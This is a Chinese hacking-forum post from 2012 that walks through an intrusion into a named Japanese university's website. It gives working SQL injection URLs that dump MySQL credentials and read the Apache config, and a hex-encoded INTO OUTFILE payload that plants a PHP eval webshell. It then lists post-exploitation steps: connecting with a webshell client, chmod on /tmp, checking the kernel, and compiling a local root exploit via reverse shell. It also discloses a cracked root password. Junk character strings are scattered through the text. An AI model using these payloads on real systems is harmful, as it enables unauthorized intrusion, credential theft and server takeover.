找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2488|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
, ?) ]3 w$ a9 B- {8 Y6 v) ^
" o& G3 n# u) R& Nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
" Y0 m. P' B5 e+ Q, J* r然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) z' l/ V0 K; V5 f, d9 x6 p+ C8 i# X4 e& F9 F
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user" _: d7 R2 q# n4 V  W4 x8 O

9 h" K' ]: ^8 X. @1 r   w$ F; a2 U0 f

" [  a! j9 ?  h4 Z$ Q2 J4 e//@@datadir为数据库文件路径
/ V  T% ^. O) v. J  O1 w" R ' Q# m8 E0 a$ {/ g( C( F

! d) h& Z9 U* [6 F//load_file读取网站容器apache的配置文件 3 \) @3 ^. I7 V3 M! g
. T; T) y6 ?1 x( V! q6 P
/ \9 n+ c1 v# \' F  s0 _, |
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
7 Z1 L  \" l/ M8 x复制代码
, ]) k' \8 \$ R# g0 Y
$ g5 S$ b! v2 N; g- c3 K虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。' R/ X- x# B! t; E- S5 S! s; ~
6 }- S5 ~5 D: F7 u/ a
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。! T0 z2 o: P" ^
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
* k$ k" a9 v1 e1 \  s- y7 e
' x/ ^; _& i& y' _7 B% y. V前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。  E! W& |3 E* C3 O
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html6 H' U" I0 Z0 d! A  z
  @7 P6 h, M/ f5 Z
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
# Y/ d% z0 s: e! F% \5 ?虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。) D& P* r( _5 p6 f
直接写一句话:
9 g& Y/ {  T+ j9 y0 {
; p4 S+ p' n, J! Xhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#5 ?4 Q2 B! G$ V  [# N. R0 Z

! u% G7 N7 b0 o& D# F3 x6 i ) ^! P# R6 a$ _' X- d: D6 `

3 [% X2 N9 I4 u# V: {8 C4 K: b//最后的#是为了闭合前面的语句 . Y% W0 ~0 e4 v
; {* V1 X2 s4 K8 x( U
3 x/ A9 [1 c# v
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E - N2 ~4 v8 c: b
' Q7 W& y* h! v# r8 C; h! b

7 k0 f" h1 ?+ ^1 c为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
$ c# h9 c# q4 |7 x6 U
- i! i/ [" n- \' y5 E* B5 v/ S7 ^$ o: V# B
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
# G  g/ p% t; j' A8 W
. q5 K! e$ G6 t- W! ^4 e0 L9 E5 C! j  o$ d; U
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
: {9 J6 |1 \- b. q- `//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
0 p3 I: v0 ?% o2 a& Z/ e7 {复制代码% M. }0 p5 u1 h

8 J7 A# {4 j& w5 _HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
1 L9 X5 L" w, n通过上述注入语句,我们就得到了一句话木马:
4 b2 N  p2 c4 u- J) I% O# |" a0 J. _/ }% T* p6 o

$ }; n. Z% j3 V0 Z9 M3 |* A
. F2 N9 `0 T. e! ^ 4 p9 @, a; W/ b. l7 L

# ]5 C- l, b" A! V% l+ Z: hhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
( S: i4 l$ f1 v, ?, e% Y复制代码# E5 m% @- a1 R
) Z; R; s; g( s: E' a3 u
用菜刀连接,密码是cmd,如图所示:' y1 }" Q; g! i4 E
然后在命令提示行里看了一下,现在的权限是:9 A, e5 z+ v/ A

5 t: {; n3 n0 o2 w* x4 ~之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。# i( p2 W) d+ C' W* h
好在赋权给这个文件夹不需要root,直接执行赋权语句:0 P: o' ~7 y0 X$ v1 D9 C, u2 U3 Q% K
+ S- o# i5 c2 i6 |# `4 _

6 {' H; I' e$ E+ [7 ]1 J0 R5 h- w6 }7 ~$ x2 K

( M! v  {, ~0 J3 K1 K
4 j, ^7 ?. E  l# n; V" k+ B6 Achmod +x /tmp/ ! t  C5 d$ x% A# Z
复制代码7 A0 h; j9 H" k

7 Y( B2 Z, {3 d& b在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行4 `6 R; r# }! z
然后就查了一下内核版本:
, [/ k) H  m' i2 m! E2 I6 F3 l" l/ D% c" Q; z2 K5 z8 u, K+ b% t' A
) r5 P, {" F% D* C+ L, [

4 A% L! T0 H* i2 [- r ; Y& g4 }+ T! |

) W+ p: P: J8 a# ^% e7 C( N; Kuname-a 5 z7 X" D9 g6 {" d. X+ u

0 Q  ]4 Y+ n& |& |* b+ I; `5 P
! M1 }, ], X& j' \3 E% d3 {( x/ e//其实lsb_release -a   L" u; j. S1 j3 s) [7 F0 k
复制代码1 N- x. u3 W& f. E; [9 ~6 y2 ^7 {

; G8 x5 m5 N; ]5 |$ U, f如图所示:* A2 c" z0 n# j7 c, \; `
  a! O( F3 a2 G6 ]' u7 @5 |
内核版本:linux mainz1 2.6.28-194.e15, i9 V( n4 I; O# [. N" j
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
& {8 M1 U3 P" i8 Z  ]查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹. m  F( s8 t4 G+ e7 u

7 W2 Z# q- ?! x0 ?然后给予执行权限; Z- i, J' d! `9 u, Y; P; d, Q& ?
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
" k0 f( Q+ r% C& H5 H/ H( c) p
3 S- J2 r' T& i0 m& Q9 b& {
' E2 B) o( [7 r$ w$ p. [# H+ n  e- E' V% v
5 |/ u: x" j* O% c+ ~2 R1 J, V
0 Z6 j0 _0 X  a- [
chmod +x /tmp/2.6.18-194   t, S, M% z$ u7 y& L8 m
复制代码 然后直接执行!~, Y! Q8 X9 g* ~

) U7 b5 e& U- x7 v9 N* v% O总结:
# u/ p; k& Z) ?3 n9 q% S3 F这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了) N& E- |) J9 R
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root8 K( D/ W  R7 A- [' Z  O

' F9 Q& k; h5 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表